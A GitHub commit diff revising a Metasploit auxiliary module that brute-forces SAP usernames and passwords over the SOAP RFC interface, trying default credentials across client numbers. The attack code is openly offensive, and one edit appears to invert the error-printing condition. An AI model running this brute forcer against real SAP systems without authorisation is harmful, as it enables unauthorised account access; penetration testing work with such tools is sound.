Skip to content

Commit 62f9766

Browse files
committed
made requested changes
1 parent 6b7b8f7 commit 62f9766

File tree

1 file changed

+26
-28
lines changed

1 file changed

+26
-28
lines changed

modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb

Lines changed: 26 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,18 @@
11
##
22
# This file is part of the Metasploit Framework and may be subject to
33
# redistribution and commercial restrictions. Please see the Metasploit
4-
# web site for more information on licensing and terms of use.
5-
# http://metasploit.com/
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
66
##
77

88
##
9-
# This module is based on, inspired by, or is a port of a plugin available in
10-
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
1111
# http://www.onapsis.com/research-free-solutions.php.
12-
# Mariano Nuñez (the author of the Bizploit framework) helped me in my efforts
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
1313
# in producing the Metasploit modules and was happy to share his knowledge and
14-
# experience - a very cool guy. I'd also like to thank Chris John Riley,
15-
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
14+
# experience - a very cool guy. I'd also like to thank Chris John Riley,
15+
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
1616
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
1717
##
1818

@@ -28,20 +28,20 @@ class Metasploit4 < Msf::Auxiliary
2828
def initialize
2929
super(
3030
'Name' => 'SAP SOAP RFC Brute Forcer (via RFC_PING)',
31-
'Version' => '$Revision$',
3231
'Description' => %q{
33-
This module attempts to brute force the username | password via an RFC interface (over SOAP).
34-
Default clients can be tested without needing to set a CLIENT.
35-
Common/Default user and password combinations can be tested without needing to set a USERNAME, PASSWORD, USER_FILE or PASS_FILE.
36-
The default usernames and password combinations are stored in ./data/wordlists/sap_default.txt.
32+
This module attempts to brute force the username | password via an RFC
33+
interface (over SOAP). Default clients can be tested without needing to set a
34+
CLIENT. Common/Default user and password combinations can be tested without needing
35+
to set a USERNAME, PASSWORD, USER_FILE or PASS_FILE. The default usernames and
36+
password combinations are stored in ./data/wordlists/sap_default.txt.
3737
},
38-
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com' ]],
38+
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
3939
'Author' => [ 'Agnivesh Sathasivam','nmonkee' ],
4040
'License' => BSD_LICENSE
4141
)
4242
register_options([
43-
OptEnum.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
44-
OptBool.new('DEFAULT_CRED',[false, 'Check using the defult password and username',true]),
43+
OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
44+
OptBool.new('DEFAULT_CRED',[false, 'Check using the defult password and username',true])
4545
], self.class)
4646
register_autofilter_ports([ 8000 ])
4747
end
@@ -86,17 +86,17 @@ def run_host(ip)
8686
credentials.each do |u, p|
8787
client.each do |cli|
8888
success = bruteforce(u, p, cli)
89-
if success == true
90-
saptbl << [ datastore['RHOST'], datastore['RPORT'], cli, u, p]
89+
if success
90+
saptbl << [ rhost, rport, cli, u, p]
9191
end
9292
end
9393
end
9494
else
9595
each_user_pass do |u, p|
9696
client.each do |cli|
9797
success = bruteforce(u, p, cli)
98-
if success == true
99-
saptbl << [ datastore['RHOST'], datastore['RPORT'], cli, u, p]
98+
if success
99+
saptbl << [ rhost, rport, cli, u, p]
100100
end
101101
end
102102
end
@@ -128,26 +128,24 @@ def bruteforce(username,password,client)
128128
'Authorization' => 'Basic ' + user_pass,
129129
'Content-Type' => 'text/xml; charset=UTF-8'}
130130
}, 45)
131-
if res.code == 401
131+
if res and res.code == 401
132132
success = false
133133
return success
134-
elsif res.code == 500
134+
elsif res and res.code == 500
135135
response = res.body
136136
error.push(response.scan(%r{<faultstring>(.*?)</faultstring>}))
137137
error.push(response.scan(%r{<message>(.*?)</message>}))
138138
success = false
139-
elsif res.code == 200
139+
elsif res and res.code == 200
140140
success = true
141141
return success
142-
elsif res.body =~ /Response/
143-
#puts res
144142
end
145-
if success == false
146-
err = error.join().chomp
147-
print_error("#{datastore['RHOSTS']}:#{datastore['RPORT']} -#{err} - #{client}:#{username}:#{password}")
143+
if success
144+
err = error.join.chomp
145+
print_error("[SAP] #{rhost}:#{rport} - #{err} - #{client}:#{username}:#{password}")
148146
end
149147
rescue ::Rex::ConnectionError
150-
print_error("#{datastore['RHOST']}:#{datastore['RPORT']} - Unable to connect")
148+
print_error("[SAP] #{rhost}:#{rport} - Unable to connect")
151149
return
152150
end
153151
end

0 commit comments

Comments
 (0)